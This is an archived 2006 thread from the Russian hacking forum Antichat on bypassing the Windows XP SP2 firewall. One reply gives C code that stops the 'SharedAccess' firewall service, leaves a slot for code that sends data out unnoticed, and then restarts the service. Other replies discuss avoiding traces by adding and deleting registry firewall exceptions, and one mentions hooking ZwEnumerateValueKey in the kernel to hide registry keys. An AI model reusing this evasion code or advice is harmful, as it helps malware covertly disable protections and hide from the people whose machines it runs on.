Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

02.04.2006, 04:13
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Обход Xp Sp2 фаервола
идите на***
Последний раз редактировалось KEZ; 19.04.2006 в 13:25..
|
|
|

02.04.2006, 11:30
|
|
Banned
Регистрация: 09.02.2006
Сообщений: 5
Провел на форуме: 37370
Репутация:
-5
|
|
4e mne s etom delati?
|
|
|

02.04.2006, 11:32
|
|
Познающий
Регистрация: 31.03.2006
Сообщений: 48
Провел на форуме: 37237
Репутация:
6
|
|
и что с этим делать, подскажи?
|
|
|

02.04.2006, 12:06
|
|
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме: 400609
Репутация:
239
|
|
Я для начала попробывал бы откомпилировать в MS Visual C++ 6.0
Вдруг повезет?
__________________
Никому нельзя верить...
|
|
|

02.04.2006, 14:23
|
|
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
Провел на форуме: 3730496
Репутация:
519
|
|
код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы":
А что если воспользоватся более "грубым" способом?
Код:
#include <winsvc.h>
// ...
bool BypassFirewall()
{
SC_HANDLE firewallService, scm;
if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS)))
return FALSE;
// в ХР интернальное имя файрвола SharedAccess
if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS)))
{
CloseServiceHandle(scm);
return FALSE;
}
// останавливаем сервис
SERVICE_STATUS m_SERVICE_STATUS;
ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS);
// далее дожен быть ваш код
// который работает в обход файрвола
// ...
// ...
// запускаем заново сервис
StartService(firewallService,0,NULL);
CloseServiceHandle(firewallService);
CloseServiceHandle(scm);
return TRUE;
}
естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)
|
|
|

02.04.2006, 15:42
|
|
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме: 400609
Репутация:
239
|
|
Deem3n®
а втой способ следов не оставляет? ))
__________________
Никому нельзя верить...
|
|
|

02.04.2006, 22:07
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
Deem3n®
а втой способ следов не оставляет? ))
Угу))) незапустившегося сервиса чувак точно не заметит))
|
|
|

02.04.2006, 22:57
|
|
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме: 400609
Репутация:
239
|
|
Хм...
ну не знаю. я бы лишнюю запись в реестре наверно не заметил бы.
Правда и маздаевский фаер не юзал бы ))
Но все равно молодец.
__________________
Никому нельзя верить...
|
|
|

03.04.2006, 09:49
|
|
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
Провел на форуме: 3730496
Репутация:
519
|
|
Сообщение от qBiN
Угу))) незапустившегося сервиса чувак точно не заметит))
Сервис будет перезапущен (если ты код смотрел),
а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику. Идеальным вариантом будет использование пары RegSetValueEx и RegDeleteKeyEx каждый раз когда данные должны посылаться в обход файрвола.
Сообщение от drmist
а втой способ следов не оставляет?
->
А что если воспользоватся более "грубым" способом?
я же предложил грубую альтернативу, это что провокационный вопрос или желание попинать ногами?
|
|
|

03.04.2006, 11:53
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Кстати, а ты пробовал этод метод? У меня ощущение что если фаервол выключен, новые приложения доступ к сети не имееют...
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.
а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику.
one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|